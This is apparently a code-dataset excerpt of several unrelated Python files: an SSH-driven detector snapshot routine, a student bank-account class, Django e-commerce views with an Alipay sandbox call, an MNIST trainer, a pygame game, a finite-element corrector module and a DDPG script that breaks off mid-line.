+ str(run_number) + image_extension))\n # print(\"# ********\")\n # print(\"Camserver screenshot: \", fileName)\n # print(\"# ********\")\n\n # Check locally maped MX2Temp storage folder which should be the same as remote mapping on Pilatus server\n if (not os.path.exists(image_path)):\n try:\n # Send a command to remove entire folder\n stdin, stdout, stderr = ssh.exec_command(\"mkdir -p %s\" % (image_path))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check if an error occurred\n if (stdout.channel.recv_exit_status()):\n logging.getLogger().error(\"Snapshot: error trying to create the directory %s (%s)\" % (logFilePath, str(diag)))\n\n # # Wait a while to guarantee the folder is accessible\n # gevent.sleep(1)\n\n except OSError as diag:\n logging.getLogger().error(\"Snapshot: error trying to create the directory %s (%s)\" % (logFilePath, str(diag)))\n\n # Send a command to remove entire folder\n stdin, stdout, stderr = ssh.exec_command(\"xpra screenshot %s\" % (fileName))\n\n # Wait ps command to complete\n while not stdout.channel.exit_status_ready():\n gevent.sleep(0.1)\n\n # Check if an error occurred\n if (stdout.channel.recv_exit_status()):\n error_message = \"Error when trying to take a snapshot of running camserver process...\" + stderr.read().decode('ascii')\n logging.getLogger().exception(error_message)\n #logging.getLogger(\"user_level_log\").error(error_message)\n\n ssh.close()\n except:\n if ssh:\n # Stop SSH connection\n ssh.close()\n\n error_message = \"Error when trying to take a snapshot of running camserver process...\"\n logging.getLogger().exception(error_message)\n #logging.getLogger(\"user_level_log\").error(error_message)\n\n\n def createUniqueFileName(self, name):\n leadingZeros = 4\n\n fileName, fileExtension = os.path.splitext(name)\n filePath, fileName = os.path.split(fileName)\n\n # check if fileName contains the number part and if so ignores it to\n # generate the next part\n expression = r'_\\d{'+str(leadingZeros)+'}'\n fileName = re.sub(expression,'', fileName, count=1)\n fileName = os.path.join(filePath, fileName)\n\n newName = \"\"\n cont = 0\n\n while(True):\n cont += 1\n newName = fileName + \"_\" + str(cont).zfill(leadingZeros) + fileExtension\n\n if(os.path.isfile(newName)):\n continue\n else:\n break\n\n return newName\n\n\n def stablishSSHConnection(self, user=None, password=None):\n # Instantiate a paramiko object\n ssh = paramiko.SSHClient()\n # If server is not in knowm_hosts it will be included\n ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n # Connect\n if (user is None and password is None):\n ssh.connect(self.pilatusServerIP, username=self.pilatusSshUser, password=self.pilatusSshPassword, timeout=10)\n else:\n ssh.connect(self.pilatusServerIP, username=user, password=password, timeout=10)\n\n return ssh\n\n\n def update_values(self):\n # Call the update of Detector\n self.distance_motor_hwobj.update_values()\n","sub_path":"LNLS/LNLSDetector.py","file_name":"LNLSDetector.py","file_ext":"py","file_size_in_byte":32074,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"203820662","text":"class User: \r\n def __init__(self, name):\r\n self.name = name\r\n self.account = BankAccount (int_rate = 0.02, balance = 0)\r\n\r\n def make_deposit(self, amount):\r\n self.account += amount\r\n return self\r\n\r\n def make_withdrawal(self, amount):\r\n if amount <= self.account:\r\n self.account -= amount\r\n return self\r\n\r\n def display_user_balance(self):\r\n return self.account\r\n\r\nuser1 = User('Jimmy')\r\nuser2 = User('John')\r\nuser3 = User('Jenny')\r\n\r\nuser1.make_deposit(100).make_deposit(250).make_deposit(300).make_withdrawal(147).display_user_balance()\r\n\r\nuser2.make_deposit(500).make_deposit(200).make_withdrawal(600).make_withdrawal(50)\r\n\r\nuser3.make_deposit(603).make_withdrawal(402).make_withdrawal(102).make_withdrawal(22).transfer_money(user2, 20) \r\n\r\nprint(user1.user_balance)\r\nprint(user2.user_balance)\r\nprint(user3.user_balance)","sub_path":"User_with_Bank_Accounts.py","file_name":"User_with_Bank_Accounts.py","file_ext":"py","file_size_in_byte":897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"28274264","text":"import re\nimport uuid\n\nfrom alipay import AliPay\nfrom django.contrib.auth.hashers import make_password, check_password\nfrom django.core.cache import cache\nfrom django.core.mail import send_mail\nfrom django.http import HttpResponse, JsonResponse\nfrom django.shortcuts import render, redirect\n\n# Create your views here.\nfrom django.template import loader\nfrom django.urls import reverse\n\nfrom AXF.settings import MEDIA_KEY_PREFIX, APP_PRIVATE_KEY, ALIPAY_PUBLIC_KEY, ALIPAY_APPID\nfrom one.models import MainWheel, MainNav, MainMustBuy, MainShop, MainShow, FoodType, Goods, AXFUser, Cart, Order, \\\n OrderGoods\nfrom one.view_helper import sendemail_activate, get_total_price\nfrom one.views_constant import ALL_TYPE, ORDER_TOTAL, ORDER_PRICE_UP, ORDER_PRICE_DOWN, ORDER_SALE_UP, ORDER_SALE_DOWN, \\\n HTTP_USER_EXIST, HTTP_USER_OK, ORDER_STATUS_NOT_PAY, ORDER_STATUS_NOT_RECEIVE, ORDER_STATUS_NOT_SEND\n\n\ndef hello(request):\n return HttpResponse('Hello World!')\n\n\ndef home(request):\n\n main_wheels = MainWheel.objects.all()\n main_navs = MainNav.objects.all()\n main_mustbuys = MainMustBuy.objects.all()\n main_shop = MainShop.objects.all()\n\n main_shop0_1 = main_shop[0]\n main_shop1_3 = main_shop[1:3]\n main_shop3_7 = main_shop[3:7]\n main_shop7_11 = main_shop[7:11]\n\n main_shows = MainShow.objects.all()\n\n data = {\n 'title': '首页',\n 'main_wheels': main_wheels,\n 'main_navs': main_navs,\n 'main_mustbuys': main_mustbuys,\n 'main_shop0_1': main_shop0_1,\n 'main_shop1_3': main_shop1_3,\n 'main_shop3_7': main_shop3_7,\n 'main_shop7_11': main_shop7_11,\n 'main_shows': main_shows,\n }\n return render(request, \"main/home.html\", context=data)\n\n\ndef market_with_params(request, typeid, childcid, order_rule):\n\n foodtypes = FoodType.objects.all()\n\n good_list = Goods.objects.all().filter(categoryid=typeid)\n\n if childcid == ALL_TYPE:\n pass\n else:\n good_list = good_list.filter(childcid=childcid)\n\n if order_rule == ORDER_TOTAL:\n pass\n elif order_rule == ORDER_PRICE_UP:\n good_list = good_list.order_by(\"price\")\n elif order_rule == ORDER_PRICE_DOWN:\n good_list = good_list.order_by(\"-price\")\n elif order_rule == ORDER_SALE_UP:\n good_list = good_list.order_by(\"productnum\")\n elif order_rule == ORDER_SALE_DOWN:\n good_list = good_list.order_by(\"-productnum\")\n\n order_rule_list = [\n ['综合排序', ORDER_TOTAL],\n ['价格升序', ORDER_PRICE_UP],\n ['价格降序', ORDER_PRICE_DOWN],\n ['销量升序', ORDER_SALE_UP],\n ['销量降序', ORDER_SALE_DOWN],\n ]\n\n foodtype = foodtypes.filter(typeid=typeid).first()\n foodtypechildtypenames = foodtype.childtypenames\n typename_list = foodtypechildtypenames.split('#')\n typenamelist = [x.split(':') for x in typename_list]\n data = {\n 'title': '闪购',\n 'foodtypes': foodtypes,\n 'good_list': good_list,\n 'typeid': int(typeid),\n 'typenamelist': typenamelist,\n 'childcid': childcid,\n 'order_rule': order_rule,\n 'order_rule_list': order_rule_list,\n }\n user_id = request.session.get('user_id')\n if user_id:\n data['is_login'] = True\n data['cart_list'] = Cart.objects.all()\n\n return render(request, 'main/market.html', context=data)\n\n\ndef market(request):\n return redirect(reverse('one:market_with_params', kwargs={\n 'typeid': '104749',\n 'childcid': '0',\n 'order_rule': 0\n }))\n\n\ndef cart(request):\n\n Cart.objects.filter(c_goods_num=0).delete()\n\n carts = Cart.objects.filter(c_user=request.user)\n is_all_select = carts.filter(c_is_select=False).exists()\n data = {\n 'title': '购物车',\n 'carts': carts,\n 'is_all_select': is_all_select,\n 'total_price': get_total_price(request),\n }\n\n return render(request, 'main/cart.html', context=data)\n\n\ndef mine(request):\n user_id = request.session.get('user_id')\n data = {\n 'title': '我的',\n 'is_login': False,\n\n }\n if user_id:\n data['is_login'] = True\n user = AXFUser.objects.filter(pk=user_id).first()\n data['username'] = user.u_username\n data['icon'] = MEDIA_KEY_PREFIX + user.u_icon.url\n data['order_not_pay'] = Order.objects.filter(o_user=user).filter(o_status=ORDER_STATUS_NOT_PAY).count()\n data['order_not_receive'] = Order.objects.filter(o_user=user).filter(o_status__in=[ORDER_STATUS_NOT_RECEIVE, ORDER_STATUS_NOT_SEND]).count()\n return render(request, 'main/mine.html', context=data)\n\n\ndef register(request):\n if request.method == 'GET':\n data = {\n 'title': '注册'\n }\n return render(request, 'user/register.html',context=data)\n elif request.method == 'POST':\n username = request.POST.get('username')\n email = request.POST.get('email')\n password = request.POST.get('password')\n icon = request.FILES.get('icon')\n password = make_password(password)\n\n user = AXFUser()\n user.u_username = username\n user.u_passwd = password\n user.u_email = email\n user.u_icon = icon\n user.save()\n\n u_token = uuid.uuid4().hex\n\n cache.set(u_token, user.id, timeout=60*60*24)\n\n sendemail_activate(username, email, u_token)\n\n return redirect(reverse('one:login'))\n\n\ndef login(request):\n if request.method == 'GET':\n error_message = request.session.get('error_message')\n\n data = {\n 'title': '登录'\n }\n if error_message:\n del request.session['error_message']\n data['error_message'] = error_message\n return render(request, 'user/login.html', context=data)\n elif request.method == 'POST':\n\n username = request.POST.get('username')\n passwd = request.POST.get('password')\n\n user = AXFUser.objects.filter(u_username=username)\n if user.exists():\n user = user.first()\n if check_password(passwd, user.u_passwd):\n if user.is_active:\n request.session['user_id'] = user.id\n return redirect(reverse('one:mine'))\n request.session['error_message'] = 'user not activate'\n return redirect(reverse('one:login'))\n request.session['error_message'] = 'password wrong'\n return redirect(reverse('one:login'))\n request.session['error_message'] = 'user does not exit'\n return redirect(reverse('one:login'))\n\n\ndef logout(request):\n # request.session.flush()\n del request.session['user_id']\n return redirect(reverse('one:mine'))\n\n\ndef checkuser(request):\n\n username = request.GET.get('username')\n\n users = AXFUser.objects.filter(u_username=username)\n\n data = {\n 'username_status': HTTP_USER_OK,\n 'username_msg': 'user can use',\n\n }\n\n if users.exists():\n data['username_status'] = HTTP_USER_EXIST\n data['username_msg'] = 'user already exist'\n\n return JsonResponse(data=data)\n\n\ndef checkemail(request):\n email = request.GET.get('email')\n users = AXFUser.objects.filter(u_email=email)\n\n data = {\n 'email_status': HTTP_USER_OK,\n 'email_msg': 'email can use',\n }\n\n str = r'^[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+){0,4}@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+){0,4}$'\n\n if (not(re.match(str, email))) or users.exists():\n data['email_status'] = HTTP_USER_EXIST\n data['email_msg'] = r\"email doesn't use\"\n\n return JsonResponse(data=data)\n\n\ndef activate(request):\n\n u_token = request.GET.get('u_token')\n user_id = cache.get(u_token)\n if user_id:\n user = AXFUser.objects.filter(pk=user_id).first()\n user.is_active = True\n\n user.save()\n cache.delete(u_token)\n return redirect(reverse('one:login'))\n\n return HttpResponse('hahahaha')\n\n\ndef add_to_cart(request):\n\n goodid = request.GET.get('goodid')\n type = request.GET.get('type')\n cart = Cart.objects.filter(c_user=request.user).filter(c_goods=goodid)\n\n if cart.exists():\n cart_obj = cart.first()\n if type == 'add':\n cart_obj.c_goods_num = cart_obj.c_goods_num + 1\n elif type == 'sub' and cart_obj.c_goods_num > 0:\n cart_obj.c_goods_num = cart_obj.c_goods_num - 1\n\n else:\n if type == 'add':\n cart_obj = Cart()\n cart_obj.c_goods_id = goodid\n cart_obj.c_user = request.user\n elif type == 'sub':\n pass\n\n cart_obj.save()\n data = {\n 'status': 200,\n 'msg': 'add success',\n 'c_good_num': cart_obj.c_goods_num,\n }\n\n return JsonResponse(data)\n\n\ndef change_cart_state(request):\n\n cart_id = request.GET.get('cartid')\n cart_obj = Cart.objects.filter(id=cart_id).first()\n cart_obj.c_is_select = not cart_obj.c_is_select\n cart_obj.save()\n carts = Cart.objects.filter(c_user=request.user)\n is_all_select = not carts.filter(c_is_select=False).exists()\n data = {\n 'status': 200,\n 'msg': 'change ok',\n 'c_is_select': cart_obj.c_is_select,\n 'is_all_select': is_all_select,\n 'total_price': get_total_price(request),\n }\n return JsonResponse(data)\n\n\ndef change_shopping(request):\n cartid = request.GET.get('cartid')\n cart_obj = Cart.objects.get(id=cartid)\n type = request.GET.get('type')\n if type == 'sub':\n if cart_obj.c_goods_num > 0:\n cart_obj.c_goods_num = cart_obj.c_goods_num - 1\n cart_obj.save()\n else:\n cart_obj.delete()\n elif type == 'add':\n cart_obj.c_goods_num = cart_obj.c_goods_num + 1\n cart_obj.save()\n\n data = {\n 'status': 200,\n 'msg': 'ok',\n 'goods_num': cart_obj.c_goods_num,\n 'total_price': get_total_price(request),\n }\n\n return JsonResponse(data=data)\n\n\ndef all_select(request):\n cart_list = request.GET.get('cart_list').split('#')\n carts = Cart.objects.filter(id__in=cart_list)\n for cart in carts:\n cart.c_is_select = not cart.c_is_select\n cart.save()\n\n data = {\n 'status': 200,\n 'total_price': get_total_price(request),\n }\n\n return JsonResponse(data=data)\n\n\ndef make_order(request):\n carts = Cart.objects.filter(c_user=request.user)\n\n order = Order()\n order.o_user = request.user\n order.o_price = get_total_price(request)\n order.save()\n\n carts_obj = carts.filter(c_is_select=True)\n for cart_obj in carts_obj:\n ordergoods = OrderGoods()\n ordergoods.o_order = order\n ordergoods.o_goods_num = cart_obj.c_goods_num\n ordergoods.o_goods = cart_obj.c_goods\n print(ordergoods)\n ordergoods.save()\n cart_obj.delete()\n\n data = {\n 'status': 200,\n 'msg': 'make orders',\n 'order_id': order.id,\n\n }\n\n return JsonResponse(data=data)\n\n\ndef order_detail(request):\n\n order_id = request.GET.get('orderid')\n order = Order.objects.get(id=order_id)\n data = {\n 'title': '订单详情',\n 'order': order,\n }\n\n return render(request, 'order/order_detail.html', context=data)\n\n\ndef order_list_not_pay(request):\n\n orders = Order.objects.filter(o_user=request.user).filter(o_status=ORDER_STATUS_NOT_PAY)\n\n data = {\n 'title': '订单列表',\n 'orders': orders,\n }\n\n return render(request, 'order/order_list_not_pay.html', context=data)\n\n\ndef payed(request):\n\n order_id = request.GET.get('orderid')\n order = Order.objects.get(id=order_id)\n order.o_status = ORDER_STATUS_NOT_SEND\n order.save()\n\n data={\n 'status': 200,\n 'msg': 'payed'\n }\n\n return JsonResponse(data)\n\n\ndef alipay(request):\n\n alipay_client = AliPay(\n appid=ALIPAY_APPID,\n app_notify_url=None, # 默认回调url\n app_private_key_string=APP_PRIVATE_KEY,\n alipay_public_key_string=ALIPAY_PUBLIC_KEY, # 支付宝的公钥,验证支付宝回传消息使用,不是你自己的公钥,\n sign_type=\"RSA\", # RSA 或者 RSA2\n debug=False # 默认False\n )\n # 使用Alipay进行支付请求的发起\n\n subject = \"20核系列 RTX80\"\n\n # 电脑网站支付,需要跳转到https://openapi.alipay.com/gateway.do? + order_string\n order_string = alipay_client.api_alipay_trade_page_pay(\n out_trade_no=\"110\",\n total_amount=10000,\n subject=subject,\n return_url=\"http://www.1000phone.com\",\n notify_url=\"http://www.1000phone.com\" # 可选, 不填则使用默认notify url\n )\n\n return redirect(\"https://openapi.alipaydev.com/gateway.do?\" + order_string)","sub_path":"Code/DjangoProject/AXF/one/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":12668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"49649942","text":"#!/usr/bin/python3\n\nimport json\nimport GameOfLife as gol\n\nif __name__ == '__main__':\t\n\twith open('config.json', encoding='utf-8') as config_file:\n\t\tconfig = json.loads(config_file.read())\n\tconfig['is_test'] = 1\n\tconfig['test_pattern'] = \"Pulsar\"\n\tgol.GameOfLife(config)\n","sub_path":"test_pulsar.py","file_name":"test_pulsar.py","file_ext":"py","file_size_in_byte":270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11509658","text":"import tensorflow as tf\nimport pickle\nimport numpy as np\n\nmnist = tf.keras.datasets.mnist\n\n(x_train, y_train), (a, b) = mnist.load_data()\n\nx_train = x_train/255.0\n# x_train = tf.keras.utils.normalize(x_train, axis=1)\n\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.layers.Flatten(input_shape=(28, 28)))\nmodel.add(tf.keras.layers.Dense(128, activation=\"relu\"))\nmodel.add(tf.keras.layers.Dense(128, activation=\"relu\"))\nmodel.add(tf.keras.layers.Dense(10, activation=\"softmax\"))\n\nmodel.compile(optimizer=\"adam\",\n loss=\"sparse_categorical_crossentropy\",\n metrics=['accuracy'])\n\nmodel.fit(x_train, y_train, epochs=40)\n\nmodel.save('MNIST.model')","sub_path":"training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":678,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"611336028","text":"import os\nimport subprocess\nfrom host_setup.decorators import logger\nfrom host_setup.media.base_media import BaseMedia\n\n\nclass TV(BaseMedia):\n def process_media(self):\n # conversion process + settings\n if self.needs_convert:\n for vid in self.to_convert_files:\n old_file = os.path.join(self.path, vid)\n new_file = os.path.join(self.path, self.name)\n self._convert_vid_ffmpeg(old_file, new_file)\n return True\n\n @staticmethod\n @logger\n def _convert_vid_ffmpeg(old_vid, new_vid):\n return subprocess.call(\n [\n \"ffmpeg\",\n f\"-i {old_vid}\",\n \"-c:v\",\n \"libx264\",\n \"-crf 19\",\n \"-hide_banner\",\n \"-loglevel panic\",\n \"-preset fast\",\n new_vid,\n ]\n )\n","sub_path":"src/host_setup/media/tv.py","file_name":"tv.py","file_ext":"py","file_size_in_byte":904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"131864830","text":"import numpy as np\nfrom gridlod import fem, util, linalg\n\n\nclass schurComplementSolver:\n def __init__(self, NCache=None):\n if NCache is not None:\n self.cholCache = linalg.choleskyCache(NCache)\n else:\n self.cholCache = None\n\n def solve(self, A, I, bList, fixed, NPatchCoarse=None, NCoarseElement=None):\n return linalg.schurComplementSolve(A, I, bList, fixed, NPatchCoarse, NCoarseElement, self.cholCache)\n\n\ndef ritzProjectionToFinePatchWithGivenSaddleSolver(world,\n iPatchWorldCoarse,\n NPatchCoarse,\n APatchFull,\n bPatchFullList,\n IPatch,\n saddleSolver):\n d = np.size(NPatchCoarse)\n NPatchFine = NPatchCoarse * world.NCoarseElement\n\n # Find what patch faces are common to the world faces, and inherit\n # boundary conditions from the world for those. For the other\n # faces, all DoFs fixed (Dirichlet)\n boundaryMapWorld = world.boundaryConditions == 0\n\n inherit0 = iPatchWorldCoarse == 0\n inherit1 = (iPatchWorldCoarse + NPatchCoarse) == world.NWorldCoarse\n\n boundaryMap = np.ones([d, 2], dtype='bool')\n boundaryMap[inherit0, 0] = boundaryMapWorld[inherit0, 0]\n boundaryMap[inherit1, 1] = boundaryMapWorld[inherit1, 1]\n\n # Using schur complement solver for the case when there are no\n # Dirichlet conditions does not work. Fix if necessary.\n assert (np.any(boundaryMap))\n\n fixed = util.boundarypIndexMap(NPatchFine, boundaryMap)\n\n # projectionsList = saddleSolver.solve(APatch, IPatch, bPatchList)\n\n projectionsList = saddleSolver.solve(APatchFull, IPatch, bPatchFullList, fixed, NPatchCoarse, world.NCoarseElement)\n\n return projectionsList\n\n\nclass FineScaleInformation:\n def __init__(self, coefficientPatch, correctorsList):\n self.coefficient = coefficientPatch\n self.correctorsList = correctorsList\n\n\nclass CoarseScaleInformation:\n def __init__(self, Kij, Kmsij, muTPrime, correctorFluxTF, basisFluxTF, rCoarse=None):\n self.Kij = Kij\n self.Kmsij = Kmsij\n # self.LTPrimeij = LTPrimeij\n self.muTPrime = muTPrime\n self.rCoarse = rCoarse\n self.correctorFluxTF = correctorFluxTF\n self.basisFluxTF = basisFluxTF\n\n\nclass elementCorrector:\n def __init__(self, world, k, iElementWorldCoarse, saddleSolver=None):\n self.k = k\n self.iElementWorldCoarse = iElementWorldCoarse[:]\n self.world = world\n\n # Compute (NPatchCoarse, iElementPatchCoarse) from (k, iElementWorldCoarse, NWorldCoarse)\n NWorldCoarse = world.NWorldCoarse\n\n iPatchWorldCoarse = np.maximum(0, iElementWorldCoarse - k).astype('int64')\n iEndPatchWorldCoarse = np.minimum(NWorldCoarse - 1, iElementWorldCoarse + k).astype('int64') + 1\n self.NPatchCoarse = iEndPatchWorldCoarse - iPatchWorldCoarse\n self.iElementPatchCoarse = iElementWorldCoarse - iPatchWorldCoarse\n self.iPatchWorldCoarse = iPatchWorldCoarse\n\n if saddleSolver is None:\n self._saddleSolver = schurComplementSolver()\n else:\n self._saddleSolver = saddleSolver\n\n @property\n def saddleSolver(self):\n return self._saddleSolver\n\n @saddleSolver.setter\n def saddleSolver(self, value):\n self._saddleSolver = value\n\n def compute_element_corrector(self, b_patch, a_patch, IPatch, ARhsList):\n '''Compute the fine correctors over the patch.\n\n Compute the correctors\n\n a(Q_T \\lambda_x, z)_{U_K(T)} + \\tau b(Q_T \\lambda_x, z)_{U_K(T)} = a(\\lambda_x, z)_T + \\tau b(\\lambda_x, z)_T\n '''\n\n numRhs = len(ARhsList)\n\n world = self.world\n NCoarseElement = world.NCoarseElement\n NPatchCoarse = self.NPatchCoarse\n\n NPatchFine = NPatchCoarse * NCoarseElement\n NtFine = np.prod(NPatchFine)\n NpFine = np.prod(NPatchFine + 1)\n\n b_patch = b_patch.aFine\n a_patch = a_patch.aFine\n assert (np.size(a_patch) == NtFine)\n\n iElementPatchCoarse = self.iElementPatchCoarse\n elementFinetIndexMap = util.extractElementFine(NPatchCoarse,\n NCoarseElement,\n iElementPatchCoarse,\n extractElements=True)\n\n elementFinepIndexMap = util.extractElementFine(NPatchCoarse,\n NCoarseElement,\n iElementPatchCoarse,\n extractElements=False)\n\n SElementFull = fem.assemblePatchMatrix(NCoarseElement, world.ALocFine, b_patch[elementFinetIndexMap])\n KElementFull = fem.assemblePatchMatrix(NCoarseElement, world.ALocFine, a_patch[elementFinetIndexMap])\n SPatchFull = fem.assemblePatchMatrix(NPatchFine, world.ALocFine, b_patch)\n KPatchFull = fem.assemblePatchMatrix(NPatchFine, world.ALocFine, a_patch)\n\n bPatchFullList = []\n for rhsIndex in range(numRhs):\n bPatchFull = np.zeros(NpFine)\n bPatchFull[elementFinepIndexMap] += SElementFull * ARhsList[rhsIndex]\n bPatchFull[elementFinepIndexMap] += KElementFull * ARhsList[rhsIndex]\n bPatchFullList.append(bPatchFull)\n\n correctorsList = ritzProjectionToFinePatchWithGivenSaddleSolver(world,\n self.iPatchWorldCoarse,\n NPatchCoarse,\n SPatchFull + KPatchFull,\n bPatchFullList,\n IPatch,\n self.saddleSolver)\n\n return correctorsList\n\n def compute_corrector(self, coefficientPatch, corrCoefficientPatch, IPatch):\n '''Compute the fine correctors over the patch.\n\n Compute the correctors Q_T\\lambda_x (T is given by the class instance)\n\n and store them in the self.fsi object, together with the extracted A|_{U_k(T)}\n '''\n d = np.size(self.NPatchCoarse)\n ARhsList = list(map(np.squeeze, np.hsplit(self.world.localBasis, 2 ** d)))\n\n correctorsList = self.compute_element_corrector(coefficientPatch, corrCoefficientPatch, IPatch, ARhsList)\n\n self.fsi = FineScaleInformation(coefficientPatch, correctorsList)\n","sub_path":"lod_element.py","file_name":"lod_element.py","file_ext":"py","file_size_in_byte":6840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"23459381","text":"\"\"\"\"\"\nHUNGRY BIRD\n- ADD A DIFFERENT SPEED WITH DIFFERENT SPEED\n- MENU\n- SOUND\n- TIMER\n- DIFFERENT SEED\n- SOME TEXT\n- LEVEL? (No I don't think so. Just increase speed, and quantity)\n\n- FIX COLLISION AND SCORE\n\"\"\"\"\"\n\n\nimport pygame\nimport random\nimport sys\n\npygame.init()\n\nWIDTH = 664\nHEIGHT = 598\n\nLightest_Green = (155, 188, 15)\nLight_Green = (139, 172, 15)\nDark_Green = (48, 98, 48)\nDarkest_Green = (15, 56, 15)\n\nbird_size = 64\n\nseed_size = 24\n\ngameDisplay = pygame.display.set_mode((WIDTH,HEIGHT))\npygame.display.set_caption(\"Hungry Birds\")\nclock = pygame.time.Clock()\n\nbackground = pygame.image.load('gba-jam-bg2.png').convert()\nbirdImg = pygame.image.load('gba-jam-birb-idle2.png')\nSeedImg = pygame.image.load('gba-jam-items-drop2.png')\n\n#DISPLAY SCORE\ndef seed_caught(count):\n font = pygame.font.Font('freesansbold.ttf', 25)\n text = font.render(\"Caught seed: \" + str((count)), True, Darkest_Green)\n gameDisplay.blit(text, (8,12))\n\n# def set_level(score, speed):\n# if score > 30:\n# speed = 10\n# elif score > 50:\n# speed = 15\n# elif score > 70:\n# speed = 20\n# else:\n# speed = 25\n# speed = score/5 +1\n# return speed\n\n\n\n#PUT SEED INTO A GAME AND DEFINE POSITION\ndef draw_seed(seedX, seedY):\n gameDisplay.blit(SeedImg, (seedX, seedY))\n\n#PUT SPRITE INTO A GAME, And Define starting position\ndef bird(x,y):\n gameDisplay.blit(birdImg, (x,y))\n\n#DEFINE BIRD POSITION\ndef game_loop():\n x = (WIDTH * 0.45) #BIRD POSITION WIDTH\n y = (HEIGHT * 0.82) #BIRD POSITION HEIGHT\n\n x_change = 0\n\n #POSITION OF SEED\n #seed_startx = random.randrange(0, WIDTH)\n #seed_starty = 50\n seed_speed = 5\n caught = 0\n\n game_over = False\n\n #переменная, которая содержит список с положением сидов в координате х и у\n seeds = []\n while not game_over:\n #Проверяем, если количество сидов на сцене 0, то отображать новые сиды\n if len(seeds) == 0:\n #добавляем к списку координаты х и у\n seeds.append({'x': random.randrange(0, WIDTH), 'y': 50})\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game_over = True\n #MOVEMENTS\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_LEFT:\n x_change = -20\n elif event.key == pygame.K_RIGHT:\n x_change = 20\n\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_LEFT or event.key == pygame.K_RIGHT:\n x_change = 0\n\n x += x_change\n\n #PUT BACKGROUND INTO A GAME\n gameDisplay.blit(background, [0,0])\n\n #DISPLAY SEED AND DEFINE SPEED OF FALLING\n #seed(seed_startx, seed_starty)\n #seed_starty += seed_speed\n\n #DISPLAY BIRD\n bird(x,y)\n seed_caught(caught)\n # set_level(caught, seed_speed)\n\n # BOUNDARY\n if x > WIDTH:\n x = 0\n elif x < 0:\n x = WIDTH\n\n #DROPPING NEW SEED AFTER PREVIOUS GOES OFF THE SCREEN\n for seed in seeds:\n if seed['y'] > HEIGHT:\n seed['y'] = 50 - seed_size\n seed['x'] = random.randrange (0, WIDTH)\n\n #COLLISION WITH SEED\n # TODO Fix bug seed has big size\n if (seed['x'] >= x and seed['x'] < (x + bird_size)) or (x >= seed['x'] and y < (seed['x'] + seed_size)):\n if (seed['y'] >= y and seed['y'] < (y + bird_size)) or (y >= seed['y'] and y < (seed['y'] + seed_size)):\n #Если произошла колизия - очищать список\n seeds = []\n caught += 1\n #seed_speed += 1\n\n # if y < seed_starty + seed_size:\n #print(\"Y crossover\")\n # if x > seed_startx and x < seed_startx + seed_size or x + bird_size > seed_startx and x + bird_size < seed_startx + seed_size:\n # caught += 1\n # seed_speed += 1\n # print(\"X crossover\")\n\n #Нарисовать сид на экране и добавить скорось падения\n for seed in seeds:\n seed['y'] = seed['y'] + seed_speed\n draw_seed(seed['x'], seed['y'])\n\n pygame.display.update()\n clock.tick(20) #FRAMEWORK. TIME OF FALLING, MOVEMENTS\n\ngame_loop()\npygame.quit()\nquit()\n","sub_path":"Hungry Birds.py","file_name":"Hungry Birds.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"201589566","text":"\"\"\"\nOpen AI Gym Pendulum\nNick Kaparinos\n2021\n\"\"\"\n\nimport time\n\nfrom gym import wrappers\nimport gym\nimport tianshou as ts\nimport torch\nimport numpy as np\nfrom torch.utils.tensorboard import SummaryWriter\nfrom tianshou.utils import TensorboardLogger\nfrom tianshou.exploration import GaussianNoise, OUNoise\nfrom tianshou.policy import DDPGPolicy\nimport torch\nfrom tianshou.utils.net.common import Net\nfrom tianshou.utils.net.continuous import Actor, Critic\nfrom utilities import *\n\nif __name__ == '__main__':\n start = time.perf_counter()\n env_id = \"Pendulum-v0\"\n seed = 0\n np.random.seed(seed)\n torch.manual_seed(seed)\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n print(device)\n\n # Logging directory\n model_name = 'Tianshou_DDPG'\n log_dir = 'logs/' + model_name + '_' + str(time.strftime('%d_%b_%Y_%H_%M_%S', time.localtime())) + '/'\n writer = SummaryWriter(log_dir=log_dir)\n logger = TensorboardLogger(writer, train_interval=1, update_interval=1)\n\n # Environment\n env = gym.make(env_id)\n env.seed(seed=seed)\n\n train_envs = ts.env.DummyVectorEnv([lambda: gym.make(env_id) for _ in range(1)])\n test_envs = ts.env.DummyVectorEnv([lambda: gym.make(env_id) for _ in range(1)])\n train_envs.seed(seed)\n test_envs.seed(seed)\n\n # Neural networks and policy\n state_shape = env.observation_space.shape or env.observation_space.n\n action_shape = env.action_space.shape or env.action_space.n\n max_action = env.action_space.high[0]\n model_hyperparameters = {'hidden_sizes': [128, 128], 'learning_rate': 1e-3, 'estimation_step': 1}\n\n net_a = Net(state_shape, hidden_sizes=model_hyperparameters['hidden_sizes'], device=device)\n actor = Actor(net_a, action_shape, max_action=max_action, device=device).to(device)\n actor_optim = torch.optim.Adam(actor.parameters(), lr=model_hyperparameters['learning_rate'])\n net_c = Net(state_shape, action_shape, hidden_sizes=model_hyperparameters['hidden_sizes'], concat=True,\n device=device)\n critic = Critic(net_c, device=device).to(device)\n critic_optim = torch.optim.Adam(critic.parameters(), lr=model_hyperparameters['learning_rate'])\n policy = DDPGPolicy(actor, actor_optim, critic, critic_optim,\n exploration_noise=GaussianNoise(sigma=0.5 * 